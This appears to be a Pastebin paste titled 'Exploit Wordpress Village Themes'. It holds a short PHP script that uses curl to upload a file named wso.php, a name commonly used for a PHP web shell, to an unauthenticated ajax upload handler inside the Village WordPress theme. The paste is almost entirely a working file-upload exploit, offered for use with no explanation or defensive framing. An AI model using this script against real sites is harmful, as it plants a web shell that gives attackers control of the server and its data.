Advertisement
ken7

Exploit Wordpress Village Themes

May 28th, 2015
799
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.37 KB | None | 0 0
  1. <?php
  2.  
  3. $uploadfile="wso.php";
  4. $ch =
  5. curl_init("http://localhost/wp-content/themes/village/blueprint/gallery/ajaxupload/server/php.php");
  6. curl_setopt($ch, CURLOPT_POST, true);
  7. curl_setopt($ch, CURLOPT_POSTFIELDS,
  8. array('qqfile'=>"@$uploadfile"));
  9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  10. $postResult = curl_exec($ch);
  11. curl_close($ch);
  12. print "$postResult";
  13.  
  14. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement